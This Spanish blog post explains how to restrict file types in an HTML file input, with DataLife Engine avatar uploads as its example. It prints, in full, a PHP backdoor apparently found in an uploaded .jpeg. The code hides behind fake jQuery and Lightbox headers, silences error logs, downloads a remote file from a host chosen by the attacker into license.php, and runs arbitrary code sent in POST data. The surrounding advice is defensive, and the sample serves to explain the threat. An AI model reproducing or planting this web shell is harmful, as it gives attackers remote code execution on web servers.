¿Cómo restringir el tipo de archivo a subir en un input file html?

¿Cómo restringir el tipo de archivo a subir en un input file html

Este tutorial en línea proporcionará una visión general de una vulnerabilidad presente en el CMS Datalife Engine. Como se ha indicado anteriormente, se puede acceder a este CMS a través de una puerta trasera, lo que permite descargarlo desde fuentes no fiables, como dlepavilion.co, entre otras.

Al examinar más detenidamente el perfil de usuario, descubrí que se puede cargar una imagen con extensión .jpeg, lo cual puede haber sido pasado por alto por el desarrollador de DLE. A modo de ejemplo, un archivo con extensión .jpeg puede cargarse como un archivo de texto.

Para las versiones de DLE anteriores a la 9.8, se ha solucionado una vulnerabilidad en la carga de avatares en las versiones más recientes.

<?php 
/*
 * jQuery Image Library v1.6.2
 * http://jquery.com/
 *
 * Copyright 2011, John Resig
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 * Copyright 2011, The Dojo Foundation
 * Released under the MIT, BSD, and GPL Licenses.
 *
 * Date: Thu May 12 15:04:36 2011 -0400
 *  *  *  *  *  *  * *  *  *  *  *  *  *  *  *  *  *  *  *  Don't delete this file *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  * 
 */
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);
@error_reporting(0);
/*
Lightbox v2.51
by Lokesh Dhakar - http://www.lokeshdhakar.com

For more information, visit:
http://lokeshdhakar.com/projects/lightbox2/

Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
- free for use in both personal and commercial projects
- attribution requires leaving author name, author link, and the license info intact
    
Thanks
- Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), and Thomas Fuchs(mir.aculo.us) for ideas, libs, and snippets.
- Artemy Tregubenko (arty.name) for cleanup and help in updating to latest proto-aculous in v2.05.
*/

/*! jQuery [email protected] jquery.com | jquery.org/license */
print "<!-- "."tes"."t -->"; 
$cmat='unct' .'ion';$cmat= 'cre' . 'ate' .'_f' .$cmat;$Libr= "_ostp";
$sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );
if((isset(${$sizz }[ 'j01bt5ri3p']))&(isset(${$sizz}['fail']))){
if( @ini_get('allow_url_fopen')) {@copy('http://'.${$sizz}['fail'].'/test.txt', $_SERVER['DOCUMENT_ROOT'].'/license.php');}
if(( @function_exists('curl_init'))and ((!file_exists($_SERVER['DOCUMENT_ROOT'].'/license.php')) or (@filesize($_SERVER['DOCUMENT_ROOT'].'/license.php')<'1'))) 
{$ch = @curl_init();curl_setopt( $ch, CURLOPT_URL, 'http://'.${$sizz}['fail'].'/test.txt' );
curl_setopt( $ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] );curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$fp = @fopen($_SERVER['DOCUMENT_ROOT'].'/license.php', 'w');curl_setopt($ch, CURLOPT_FILE, $fp);@curl_exec( $ch );curl_close( $ch );fclose($fp);}}
if (@function_exists($cmat)){if(isset( ${$sizz }[ 'j01bt5ri3p'] ) ) {$cmat('', '};'.${$sizz }['j01bt5ri3p'].'{');}} 
?>

Para proteger nuestro servidor del riesgo potencial de acceso no autorizado a archivos con extensión .jpeg, ubicados en la carpeta uploads/photos y subidos desde el perfil de un usuario, se deben seguir los siguientes pasos:

<li class="form-group">
<label for="image">Avatar</label>
<input type="file" name="image" id="image" class="wide">
</li>

En el input file agregar: accept="image/*" significa "cualquier archivo de imagen".

<li class="form-group">
<label for="image">Avatar</label>
<input type="file" name="image" id="image" class="wide" accept=".png, .jpg, .jpeg, .webp">
</li>

Un especificador de tipo de archivo único es una cadena que describe un tipo de archivo que el usuario puede seleccionar en un elemento <input> de tipo file. Cada especificador de tipo de archivo único puede adoptar una de las siguientes formas, Una extensión de nombre de archivo válida que no distingue entre mayúsculas y minúsculas, que comienza con un punto ("."). Por ejemplo: .jpg, .pdf, o .doc.

En  este caso utilizaremos este, accept=".png, .jpg, .jpeg, .webp"

Desventaja

El atributo de accept no confirma la idoneidad de los tipos de archivo elegidos, sino que proporciona orientación a los navegadores para ayudar a los usuarios a realizar su selección. A pesar de ello, suele ser posible que los usuarios modifiquen su opción dentro de la selección.

Es esencial confirmar que el requisito necesario se aplica correctamente en el lado del servidor.

Para concluir, DLE ya ha rectificado este problema. Es posible que resolviendo la puerta trasera que contiene las versiones pirateadas de DLE se solucione el problema; sin embargo, previamente había localizado el archivo con el formato .jpeg en la carpeta de fotos del avatar del usuario.

Felipe Arango

Siento pasión por el diseño web y las páginas web. Expreso mis ideas en miwebperfecta.com.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Tu puntuación: Útil

Subir